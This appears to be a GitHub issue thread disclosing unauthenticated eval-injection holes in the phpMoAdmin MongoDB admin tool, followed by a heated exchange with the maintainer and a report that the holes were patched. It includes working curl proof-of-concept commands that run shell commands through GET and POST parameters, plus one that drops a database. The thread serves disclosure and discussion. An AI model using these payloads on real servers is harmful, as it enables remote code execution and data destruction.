Many security issues in phpMoAdmin (0-day)

[Sr4l]

A week ago I read a security alert at 'heise Security' . It's a
German IT news site. The article was about someone is selling a
Zero-Day-Exploit for phpMoAdmin. Here is another source
in English. Because nobody has written an issue or a fix a week later I
decided to write all the stuff down I figured out last week.

At least for the second bug I already found Metasploit scripts. So
I decide to publish the exploits as well. Its already all over the
Internet.

Well, the fact that there is a security hole and not what
the hole is I got interested. I'm not using MongoDB and I am not so
much into PHP, but a close look at the source and I found two suspects
that might be a problem.

556:  eval('$find = ' . $_GET['find'] . ';');
694:  eval('$obj=' . $obj . ';');

The first is obviously risky, an eval over a GET parameter. The second
could be, depends on $obj.

The first

272:  class moadminModel {
000:    ...
546:    public function listRows($collection) {
547:        foreach ($this->sort as $key => $val) { //cast vals to int
548:            $sort[$key] = (int) $val;
549:        }
550:        $col = $this->mongo->selectCollection($collection);
551:
552:        $find = array();
553:        if (isset($_GET['find']) && $_GET['find']) {
554:            $_GET['find'] = trim($_GET['find']);
555:            if (strpos($_GET['find'], 'array') === 0) {
556:                eval('$find = ' . $_GET['find'] . ';');
000:            ...

For the first we need to call the listRows function and can than inject
code in the $_GET['find'] key, but find must start with array.

There seems only one way to call listRows, and this is by setting the
GET key action, supply a fake collection and our manipulated find
key.

739:  class moadminComponent {
000:    ...
763:    public function __construct() {
000:      ...
837:      if (isset($_GET['collection']) && $action != 'listCollections' && method_exists(self::$model, $action)) {
838:        $this->mongo[$action] = self::$model->$action($_GET['collection']);
000:
1978:  $mo = new moadminComponent;

moadminComponent is created at the beginning without login or session
check, so this makes it all too easy. We can run every shell command by
providing the right GET keys.

Exploit:

curl "http://localhost/phpmoadmin/moadmin.php?action=listRows&collection=0&find=array();system(%27whoami%27);exit;"

And the second?

693:  public function saveObject($collection, $obj) {
691:    eval('$obj=' . $obj . ';'); //cast from string to array
692:    return $this->mongo->selectCollection($collection)->save($obj);
693:  }

To exploit the second suspect we need run saveObject. It seems to be
called only once, again in the constructor of moadminComponent, and
the function parameter $obj is a POST key, it could not be easier:

739:  class moadminComponent {
000:  ...
763:    public function __construct() {
000:    ...
788:      if (self::$model->saveObject($_GET['collection'], $_POST['object'])) {

So with placing a code injection in POST key object you can run any
shell command with PHP process rights. Again no login needed.

Exploit:

curl "http://localhost/phpmoadmin/moadmin.php" -d "object=0;system('whoami');exit"

Any other problems?

Many. Because the check for a valid session is too late you can play with
many direct links. Like dropping databases you know or guess there name:

curl "http://localhost/phpmoadmin/moadmin.php?db=ANY_DB_NAME&action=dropDb"

Why bother writing a login system that only prevents you from looking
at your page?!?

Solution

Too fix this issues you need more than a bug fix. First everyone should
delete phpMoAdmin or add an extra layer of access control (i.e. .htaccess)
and also only grant people access you would give a shell login.

[studioeng]

This security issue will affect servers/hosts who have not disabled system() under php.ini. The commands going into eval() will need to be sanitized before they are executed. I've always been under the impression that executing anything directly from _POST, _GET or otherwise was a big no no?

[wireghoul]

That is a misconception, as it's an eval injection the attacker can execute any php code of their choosing. The proof of concept shows execution of the php function system(), but an attacker may just as easily delete the entire content of the database, read or write files, etc. As the issues are still present I would urge you to patch this as users of this software are likely to already be compromised as the bug has been public for a while now.

[MongoDB-Rox]

The issue you are “reporting” is superfluous, like saying if someone was allowed inside a bank’s vault-safe then from there they could also find their way into the ATM machines. Security issues are context-specific; this one is not a vulnerability. I fully understand what system()/eval() do and their potential to be exploited, I’ve been certified as a Zend engineer for 11+ years and was an early adopter of PHP3 in the 1990s, Google for videos of me with the creators of PHP and me speaking at PHP conferences dating years back... If you want to patch this then by all means do it, the project is on GitHub; I’m not wasting my time coding something unnecessary as in my view there is no need for it. Perhaps you are trying to make a name for yourself as a security expert by patching holes that you google-search for; I would suggest being certain you understand the programs in which you are trying to find the holes in before repeatedly trying to persuade via inducing F.U.D. and then threatening to “announce” the vulnerability (which reveals to those who do understand the program that you don’t even know what usage phpMoAdmin is designed for, and makes you look inexperienced.) Thank you From: Eldar Marcussen Sent: Tuesday, July 14, 2015 8:41 AM To: MongoDB-Rox/phpMoAdmin-MongoDB-Admin-Tool-for-PHP Subject: Re: [phpMoAdmin-MongoDB-Admin-Tool-for-PHP] Many security issues in phpMoAdmin (0-day) (#26) That is a misconception, as it's an eval injection the attacker can execute any php code of their choosing. The proof of concept shows execution of the php function system(), but an attacker may just as easily delete the entire content of the database, read or write files, etc. As the issues are still present I would urge you to patch this as users of this software are likely to already be compromised as the bug has been public for a while now. — Reply to this email directly or view it on GitHub.

[wireghoul]

Your response confuses me a little, some of it seems like pointless chest beating and some seems aimed at the original reporter. As this report has been public for almost half a year there was no threat to make it public. The metasploit exploits for these bugs have also been public for roughly the same amount of time so again there is nothing to "make public". I merely responded to the comment about disabling system in php.ini. Feel free not to patch, I'm not a mongoDB user so this doesn't affect me.

[OJ]

Security issues are context-specific

Actually, security issues arise when a user is able to cross privilege boundaries when they aren't supposed to. So, phpMoAdmin is...

An administrative front-end to MongoDB? My guess is that it isn't supposed to allow users to execute arbitrary code on the machine. That's crossing a privilege boundary. It's certainly not supposed to let unauthenticated users do it, nor should it let them drop tables, or modify data without a valid session.

Regardless of how you dress it up, these are real security issues, and you should fix them. Not doing so says that you literally don't care about the poor souls using your tool.

[invisiblethreat]

"The issue you are “reporting” is superfluous, like saying if someone was allowed inside a bank’s vault-safe then from there they could also find their way into the ATM machines." No, it's really not.

This is like saying that if you go to a bank, you can do anything you like, including raze the building.

Perhaps approaching the problem with some humility, rather than "I've been this or that for x years, therefore I know what constitutes good design and security" would yield a more positive experience maintaining a project. If anything, issues like the ones that have been reported, and neglected, this may indicate that the certification is worthless.

" I would suggest being certain you understand the programs in which you are trying to find the holes in before repeatedly trying to persuade via inducing F.U.D. and then threatening to “announce” the vulnerability" Announce? Really?

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-2208
http://thehackernews.com/2015/03/phpMoAdmin-mongoDB-exploit.html
https://www.snort.org/search/sid/33685?r=1
http://metasploit.com/modules/exploit/multi/http/phpmoadmin_exec
http://www.tenable.com/plugins/index.php?view=single&id=84217
https://www.exploit-db.com/exploits/36251/
http://seclists.org/fulldisclosure/2015/Mar/19
http://www.openwall.com/lists/oss-security/2015/03/04/4
http://www.openwall.com/lists/oss-security/2015/03/04/5
https://www.security-database.com/detail.php?alert=CVE-2015-2208

[MongoDB-Rox]

Sorry Eldar, you are right – my response-rant was directed towards someone who kept emailing me directly with the same issue, but he offered much less in-depth exploit examples that had only granted exploit-functionality to those who passed authentication – I thought your email was from him, my apologies...

wireghoul, the issue reported by Sr4l points out being able to execute commands bypassing the login, that is a genuine concern. What you mention being able to do is not of concern at all (“attacker may just as easily delete the entire content of the database”), well you don’t need to be an attacker-hacker for that, there is a “drop database” button directly in the GUI, that is functionality a DB GUI is expected to offer.

invisiblethreat, my analogy was once you enter the bank-vault (giving access to all the money,) not the general bank customer area... So once you have access to steal the many-hundreds-of-millions of dollars, option of accessing the ATMS (or your example of razing the bank-building) is unlikely to be of much significance.

All talk aside, who is going to step up and actually patch it?

From: Scott Walsh
Sent: Tuesday, July 14, 2015 8:08 PM
To: MongoDB-Rox/phpMoAdmin-MongoDB-Admin-Tool-for-PHP
Cc: Eric David Benari
Subject: Re: [phpMoAdmin-MongoDB-Admin-Tool-for-PHP] Many security issues in phpMoAdmin (0-day) (#26)

"The issue you are “reporting” is superfluous, like saying if someone was allowed inside a bank’s vault-safe then from there they could also find their way into the ATM machines." No, it's really not.

This is like saying that if you go to a bank, you can do anything you like, including raze the building.

Perhaps approaching the problem with some humility, rather than "I've been this or that for x years, therefore I know what constitutes good design and security" would yield a more positive experience maintaining a project. If anything, issues like the ones that have been reported, and neglected, this may indicate that the certification is worthless.

" I would suggest being certain you understand the programs in which you are trying to find the holes in before repeatedly trying to persuade via inducing F.U.D. and then threatening to “announce” the vulnerability" Announce? Really?

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-2208
http://thehackernews.com/2015/03/phpMoAdmin-mongoDB-exploit.html
https://www.snort.org/search/sid/33685?r=1
http://metasploit.com/modules/exploit/multi/http/phpmoadmin_exec
http://www.tenable.com/plugins/index.php?view=single&id=84217
https://www.exploit-db.com/exploits/36251/
http://seclists.org/fulldisclosure/2015/Mar/19
http://www.openwall.com/lists/oss-security/2015/03/04/4
http://www.openwall.com/lists/oss-security/2015/03/04/5
https://www.security-database.com/detail.php?alert=CVE-2015-2208

—
Reply to this email directly or view it on GitHub.

[MongoDB-Rox]

Patched in Version 1.1.4